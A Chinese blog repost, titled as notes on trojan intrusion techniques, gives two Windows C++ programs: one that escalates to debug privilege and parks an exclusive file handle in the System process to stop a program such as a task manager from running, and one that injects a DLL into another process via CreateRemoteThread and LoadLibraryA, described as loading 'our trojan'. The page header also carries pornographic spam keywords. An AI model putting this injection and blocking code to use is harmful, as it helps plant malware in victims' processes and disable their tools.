日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

木马侵入技术小记

發布時間:2025/4/5 70 豆豆
生活随笔 收集整理的這篇文章主要介紹了 木马侵入技术小记 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


1在我的程序運行期間如何禁止某個程序運行,不需要枚舉窗口或者FindWindow的方案。

//VC-ConsoleWithApi? #include?? void RaiseToDebugP()?//提權函數? {? HANDLE hToken;? HANDLE hProcess = GetCurrentProcess();//獲得當前進程號 if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )? { ?//獲得進程的訪問令牌(用于修改該進程權限) 保存于hToken里 ?TOKEN_PRIVILEGES tkp;? ??if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )? ??{?//獲得SE_DEBUG_NAME權限對應的GUID ?? tkp.PrivilegeCount = 1;? ???tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ? ???BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;? ??}?//調整hToken句柄對應的進程的權限 ?CloseHandle(hToken);? }????? }? ??BOOL OccupyFile( LPCTSTR lpFileName )? ??{? ??????BOOL??? bRet;? ??????RaiseToDebugP();?//提升自身權限? ???//打開一個pid為4的進程,只要是存在的進程,都可以? ???HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);// 4為system進程號? ??????if ( hProcess == NULL )? ??????{??????????? ????return FALSE;? ??????}? ??????HANDLE hFile;? ??????HANDLE hTargetHandle;? ???//以獨占模式打開目標文件 參數 0表示不能被共享 ?? hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);????? ???????????if ( hFile == INVALID_HANDLE_VALUE )? ??????{? ??????????CloseHandle( hProcess );? ??????????return FALSE;? ??????}? ?//把文件句柄復制到pid=4的進程中去,這樣,只要pid=4的進程不退出,誰也動不了目標文件? ??bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,?? ??????????0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);??????? CloseHandle( hProcess );??????? return bRet;? ??}? ??//入口函數? ??int main()? ??{? ??????OccupyFile("D:""Program Files""工具軟件""任務管理.exe");? ?????//任務管理.exe為要禁止運行的程序 ????? return 0;? ??}

2 遠程注入

#include <windows.h>
?

#include <iostream.h>

int EnableDebugPriv(const char * name)
{
?????????????????????????? HANDLE hToken;

?????????????????????????? TOKEN_PRIVILEGES tp;

?????????????????????????? LUID luid;

?????????????????????????? //打開進程令牌環

?OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, ?&hToken);

?????????????????????????? //獲得進程本地唯一ID

???????????????????

??????? LookupPrivilegeValue(NULL,name,&luid) ;

?????????????????????????? tp.PrivilegeCount = 1;

?????????????????????????? tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

?????????????????????????? tp.Privileges[0].Luid = luid;

?????????????????????????? //調整權限

?????????????????????????? AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

?????????????????????????? return 0;


}

//************************************************************************************************************

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)

{

?????????????????????????? HANDLE hRemoteProcess;

?????????????????????????? EnableDebugPriv(SE_DEBUG_NAME); //提升當前進程的權限,這樣才能控制我們要注入dll的那個進程。上例有詳細說明。

?????????????????????????? //打開遠程線程

?????????????????????????? hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

??????????????????????

???? char *pszLibFileRemote;
??????????????????

???????? //使用VirtualAllocEx函數在遠程進程的內存地址空間分配DLL文件名空間

pszLibFileRemote =(char*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE);
??????????????????????????

//使用WriteProcessMemory函數將DLL的路徑名寫入到遠程進程的內存空間
?

WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);


// pszLibFileRemote 為保存dll路徑的注入進程的地址。

//##############################################################################

?????????????????????????? //計算LoadLibraryA的入口地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); //獲得dll內函數LoadLibraryA的地址
??????????????????????

???? //(關于GetModuleHandle函數和GetProcAddress函數)

?????????????????????????? //啟動遠程線程LoadLibraryA,通過遠程線程調用創建新的線程

????????

?????????????????? HANDLE hRemoteThread;

if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL) //在遠端進程中創建一個線程,啟動我們的dll中的LoadLibraryA

?????????????????????????? {
?????????????????????????????? cout<<"
注入線程失敗!"<<endl;

?????????????????????????????? return FALSE;
?????????????????????????? }

//##############################################################################

??????????????????????

???? /*
?????????????????????????? //
在//###.....//###里的語句也可以用如下的語句代替:

??????????????????????????? DWORD dwID;

LPVOID pFunc = LoadLibraryA;

HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );

??????????????????????????? //是不是感覺簡單了很多

?????????????????????????? */

???????????????????????????? // 釋放句柄

?????????????????????????? CloseHandle(hRemoteProcess);

?????????????????????????? CloseHandle(hRemoteThread);

?????????????????????????? return TRUE;
}

//*****************************************************************************************************************************

int main()

{

????? InjectDll("c:""zrqfzr.dll",3060) ;//把zrqfzr.dll注入進程的ID號為3060的進程

???????return 0;

}


恩好好好,我來解釋一下,這就是一個最簡單的控制臺程序,dll文件里面就是我們寫的木馬程序了。3060是我們要侵占的程序的Id號,普通的程序中直接調用dll時用LoadLibrary(**.dll) 就可以了

(動態接在),但是現在我們不能直接調用,因為調用這句也只有我們現在的進程知道,但是遠端我們要注入的進程還是不知道我們調用了,dll庫。所以我們要把.dll

的路徑存放到遠端進程的內存中。(通過VirtualAllocEx()WriteProcessMemory();/)然后在遠端進程中開啟線程

CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );注意參數pszLibFileRemote這就是遠端進程保存的我們dll

文件路徑的內存的首地址。通過這個路徑,我們的遠端進程就可以去找dll的實現文件。從而找到LoadLibraryA的地址,就可以運行LoadLibraryA函數了。

1 程序首先提升自身的權限(這樣才好控制別人嘛)

2 通過進程Id獲得我們要控制的進程的句柄,


3DLL文件的路徑寫入到宿主的內存空間里,因為DLL的文件路徑并不存在于宿主進程內存空間了,用到的函數有:

OpenProcess()//用于修改宿主進程的一些屬性,詳細參看MSDN

VirtualAllocEx()//用于在宿主內存空間中申請內存空間以寫入DLL的文件名

WriteProcessMemory();//往申請到的空間中寫入DLL的文件名


4在宿主中啟動新的線程

用的是LoadLibraryA()函數來加載,但在使用LoadLibraryA()之前必須知道它的入口地址,所以用GetProcAdress來獲得它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()

函數來啟動新的線程了,到次,整個注入過程完成,不過還不非常完善,這就留給聰明的你來完成了;)。


詳見:http://hi.baidu.com/43755979/blog/item/73b35eddcbaab7db8d1029e2.html

?

轉載于:https://www.cnblogs.com/SuperXJ/archive/2009/09/27/1575262.html

總結

以上是生活随笔為你收集整理的木马侵入技术小记的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。